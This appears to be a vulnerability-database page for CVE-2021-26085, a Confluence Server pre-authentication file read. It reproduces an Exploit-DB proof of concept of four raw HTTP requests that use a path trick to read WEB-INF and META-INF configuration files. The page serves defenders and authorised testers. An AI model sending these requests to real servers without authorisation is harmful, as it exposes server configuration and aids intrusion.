CVE-2021-26085

unknown KEV

Published 2022-03-28 · Modified 2022-03-28

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

2.5

Description

Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a pre-authorization arbitrary file read vulnerability in the /s/ endpoint.

CISA KEV

Vendor: Atlassian
Product: Confluence Server
Due date: 2022-04-18

Predictions

Exploit likelihood

99%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-50377 webapps java text · 2 KB

Mayank Deshmukh · 2021-10-05

Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read

text exploit Source: Exploit-DB

# Exploit Title: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: version < 7.4.10 and 7.5.0 ≤ version < 7.12.3
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26085

POC #1 - web.xml

GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #2 - seraph-config.xml

GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #3 - pom.properties

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #4 - pom.xml

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

References

https://nvd.nist.gov/vuln/detail/CVE-2021-26085

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.